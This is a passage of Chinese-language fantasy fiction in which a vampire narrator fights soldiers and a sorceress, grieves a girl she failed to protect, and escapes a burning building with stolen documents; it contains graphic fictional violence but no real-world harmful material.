我很高兴地发现，这个符文真的很好地隐藏了我的气场，洛斯知道了肯定会很高兴。 我按了一下面具底部的一个小凹槽，面具打开，露出我那极其锋利的牙齿，咧出一个大大的笑容。 “再好好想想吧。” “Aw FUCK！” 我动了。那个胖子还没来得及反应，我差点就把他的头砍下来了。 “尖刺！” 老头身上开始长出半透明的尖刺，还没等他有所动作，我就冲向他。我闪到一旁，抓住他的脚跟，那里是他防御最为薄弱的地方，然后将他整个人朝着最近的一堆箱子甩去。 木头在他的撞击下瞬间炸裂，他痛苦地喘息着，嘴里涌出红色的泡沫。一根生锈的铁棍从他满是伤痕的胸口穿出。 他带着最后一丝苦涩的笑意看向我，我也回以同样的表情，随后将他吞噬。 “这是一场不错的猎杀。” 这比我预想的要轻松。但遗憾的是，我短暂的愉悦很快就被一声枪响打破。真倒霉，难道一个女人连安心享用“食物”的时间都没有吗？这算什么派对！ 紧接着，又响起一声枪响，随后又是两声。 哦，不。 我重新戴上面具，当我走出房间时，一群人正围成一个防御圈，将瑟瑟发抖的菲尔莫尔和另外两人护在中间。一个身着大胆的绿色连衣裙、有着深红色头发的美丽女人闭着眼睛站在那里。在她旁边，一个有着黑色头发和修剪整齐胡须的高个男人正冷静地重新装填手枪。他身上散发着旧贵族那种低调的魅力，显然是这群人的首领。 那四个女孩都死了。 那个向我求救的女孩躺在地上，头骨破裂，脑浆流了出来。她仅剩的一只眼睛直勾勾地盯着天花板，而自由却永远不会降临了。 我……失败了？我真的失败了！我说过会救她，可她却在我的“保护”下死去了！这个求救的女孩死了，就在我进食的时候被杀了！该死。 我感到无比厌恶。我太粗心、太自大了，就因为这样，一个我发誓要保护的求救者失去了生命。信守承诺本应是最重要的！我当时就应该把那些蠢货当场杀光，强行冲出去，而不是想着耍小聪明。或者我一开始就该拒绝这个交易！结果我行事鲁莽，看看现在落得什么下场。呸！我就是个愚蠢的阿丽亚娜，自负的阿丽亚娜，一个只得到了三份文件和一具尸体的“女王”。 “是她！墨尔波墨涅！” 我将注意力转回到面前的这些人身上。围着菲尔莫尔的这群人手持火枪，全部对准了我。 “蠢货，你们不知道墨尔波墨涅带着刀吗？她都给你们提示了，你们却没反应过来……典型的吸血鬼式幽默。你们，开枪！” 我向左下方一闪，一阵铅弹如暴雨般射在我身后的砖墙上。我立刻向前冲去。 “贝琳达！” 我急忙停下，并用爪子抠进夯实的泥土里才勉强减速，因为此时一个银色的火圈从地面升起。那个女人睁开了眼睛，手中的戒指正对着我。 “闪电！” 我勉强躲开了那道炽热的白色光束。我大概和她一样惊讶，不过我当然不会表现出来。 “天哪，她是个大师级的人物，快，上楼，现在！保护好贝琳达！” 我从腿上的刀套里抽出匕首，刺向那道屏障。红发女人闷哼了一声，但屏障并没有被打破。与此刻心中深深的愧疚相比，这点疼痛根本算不了什么。 我失败了。 一名士兵在近距离向我开枪，我不得不后退。身体轻轻一转，我重新调整了位置，但很明显，这样下去不是办法。于是，我退到一张拷问台前，将它举了起来。刚才我后退的时候，那个女巫还在嘲笑我。但现在，当她看到我把这件家具举到空中时，脸上的表情瞬间垮掉了。 “该死。地狱烈焰！” 她施展出的法术爆开，她自己也瘫倒在一名士兵的怀里，被他搀扶着上了楼。片刻之后，我把那张桌子朝着一个掉队的士兵扔了过去，巨大的冲击力将他狠狠地砸在了紧闭的钢门上，他整个人都被砸得血肉模糊。 紧接着，一股迟来的热浪向外爆发开来。我掀翻了一张桌子，躲在后面，热浪向前翻滚，点燃了沿途的一切。 着火了。 该死，我得赶紧出去，现在就走！ 我在热浪蒸腾的地面上狂奔，根本没去碰那已经被烧得通红的门把手。 “呀！” 我按照洛斯教我的方法，一脚踹开了门。那扇钢制的门重重地撞在墙上，我滚了进去。 “好烫好烫啊啊啊啊！” 温度还在不断升高，我好不容易操作了门锁装置，然后从开口处跳到了凉爽宜人的夜色之中。 然后，我逃走了。 菲尔莫尔肯定不会再欢迎我了，所以即使我想冒险，也没办法回去解决我的敌人。我拿到了一些文件，不过还需要解密。而作为“回报”，他们现在知道自己面对的是一个吸血鬼了。 我这是在骗谁呢，我很清楚自己失去了什么，一个求救者，甚至可能还有一个潜在的附庸。当我消失在黑暗中时，这个夜晚对我来说，完全称不上是一场胜利。